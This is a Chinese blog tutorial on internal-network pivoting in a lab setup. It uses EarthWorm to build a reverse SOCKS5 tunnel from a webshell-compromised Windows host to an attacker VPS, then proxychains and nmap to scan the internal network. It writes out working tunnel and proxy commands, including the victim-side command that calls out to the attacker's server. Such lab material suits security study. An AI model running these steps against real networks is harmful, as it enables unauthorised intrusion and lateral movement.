使用EW作Socks5代理进行内网渗透

基础知识

内网穿透研究学习工具:EW(EarthWorm)仅供学习,下载地址:

本文介绍:

如何使用EW做反向Socks5代理

浏览器如何设置Socks5代理访问目标内网Web服务

利用proxychains给终端设置Socks5代理(方便将本地命令行工具的流量代理进目标内网)

基础环境

Kali Linux(Attacker 内网 192.168.23.133)后面简称攻击机器

Ubuntu 16.04.3(Attacker 公网 144.168.57.70)后面简称公网机器

Windows 10(Victim 目标内网 10.74.155.39)后面简称目标机器

网络拓扑:Kali Linux是我本地的一台虚拟机,Ubuntu是公网上的一台 vps,Windows 10 是目标机器,内网IP,部分端口映射到外网,可以访问公网。

场景模拟

现在已拿到目标内网一台机器的权限(该机器将80端口映射至外网,Web服务存在漏洞,已拿到webshell)。需要对内网做进一步的渗透,目前我有一台公网的Ubuntu,一台内网的Kali,如何反向Socks5**将Kali的流量代理进目标内网**?

该使用场景为:

使用EW做反向Socks5代理

此处仅演示通过EW做反向Socks5代理,正向、多级级联的的代理方式可以参考官方文档。

第1步:在公网的Ubuntu上执行如下命令:

./ew_for_linux64 -s rcsocks -l 1080 -e 1024 &

该命令的意思是说公网机器监听1080和1024端口。等待攻击者机器访问1080端口,目标机器访问1024端口。

第2步:目标机器执行如下命令:

ew_for_Win.exe -s rssocks -d 144.168.57.70 -e 1024

其中-d参数的值为刚刚的公网IP。

Windows 10 目标机器:注意这里访问了 1024 端口。

第3步:攻击机器Kali通过proxychains或浏览器设置Socks5代理访问目标内网服务

方法一:Kali 浏览器设置Socks5代理

我随便在windows上面开一个web服务:phpstudy 开一个 Apache:

此时已可以通过Kali攻击机器的浏览器访问目标内网的Web服务:

方法二:使用proxychains给终端设置Socks5代理

第1步:下载及安装proxychains

cd /usr/local/src

git clone https://github.com/rofl0r/proxychains-ng.git

cd proxychains-ng

./configure --prefix=/usr --sysconfdir=/etc

make && make install

make install-config

cd .. && rm -rf proxychains-ng

这里一路操作下来畅通无阻,仅截图部分操作记录。

第2步:编辑proxychains配置文件设置代理

vi /etc/proxychains.conf

socks5144.168.57.70 1080

第3步:测试内网穿透是否成功

因为刚刚说过,windows 10目标机器的127.0.0.1为 Apache 服务。为什么是 proxychains4 这条命令呢?参考:利用proxychains在终端使用socks5代理 - CSDN博客

但是为什么失败了呢?其实是这里设置错了:

看命令行的报错,先通过127.0.0.1的9050端口进行代理,就出错了。所以修改/etc/proxychains.conf,把这一行删掉,只留下socks5这一行:

然后访问使用proxychains代理访问 127.0.0.1, 就成功了:

这也就是 Windows 10 的127.0.0.1:

更进一步:使用proxychains nmap对目标内网扫描

大佬的文章里面提到了通过代理进行nmap扫描:

但是亲测使用 kali ip 进行nmap扫描并不对:

nmap 扫 127.0.0.1:

nmap 扫 windows 10 主机内网IP:

nmap 扫 kali IP:

可以看出,扫 127.0.0.1 和扫 Kali IP的结果是一样的,但是和扫windows10主机内网IP的结果不一样。但是当然是以扫windows10内网IP的结果为准啦。

总结一下:这里 nmap 的 IP 应该为目标机器内网IP。就理解为:nmap已经运行在目标windows10上了,但是扫描的时候不能使用127.0.0.1作为IP,而应该是windows10的内网IP。(而且扫描不能用半连接)。

但是前面使用了proxychains代理连,结果本应该是一样的(127.0.0.1和内网IP都指向一个地方),这可能是因为nmap走代理有问题,也就是大佬文中提到的“有的工具流量不走sock5代理,就很尴尬,具体原因不详”。

但是归根结底要使用目标机器的内网IP的,因为有的时候我们还得扫网段。这个代理之后就相当于:代理架构好了之后,我本地走的代理,理解为我的nmap是运行于目标机器上,但是扫描的IP不能是127.0.0.1,而是目标机器的内网ip。换句话说,就相当于我的这台Kali就是目标机器了(流量层面),就相当于我这台Kali已经在目标内网中了。

但是 @从心开始 群里的大神们说(感谢这群一直耐心教导我的师傅们),不建议通过代理扫描,动静大、速度慢、不稳定、时间长、容易断。

建议的方法:丢一个小工具到目标主机上扫(可以 nc 丢),或者自己写工具。小工具推荐为:portqry 或者有个很好的扫 windows 的叫 runfinger(一半端口扫描借助powershell或/dev/tcp);hbscan;python写的小工具;ms 的 queryport……

至于为什么放着现成的工具不用自己写呢?因为大部分实战的情况下 并没有那么好的环境,很多操作都需要自己根据环境来编写对应的脚本,主要是一个根据环境定制化。nmap 体积大动静大,我们需要更轻量级定制化的工具。

总之内网穿透了就相当于我们的攻击机器在内网里面了,后面自己发挥……

参考链接:[1] 如何通过EW做Socks5代理进行内网渗透, 网络安全大事件,童话, 2018年1月10日[2] 利用proxychains在终端使用socks5代理, CSDN博客,Layne101,2016年9月12日[3] 渗透技巧——Windows平台运行Masscan和Nmap,3g学生博客,3g学生,2017年7月

本文来自作者Snowming,文章仅供学习研究网络安全,不可用于非法用途,因为该文章而触犯中华人民共和国法律的,一切后果自己负责,作者和平台不承担任何责任。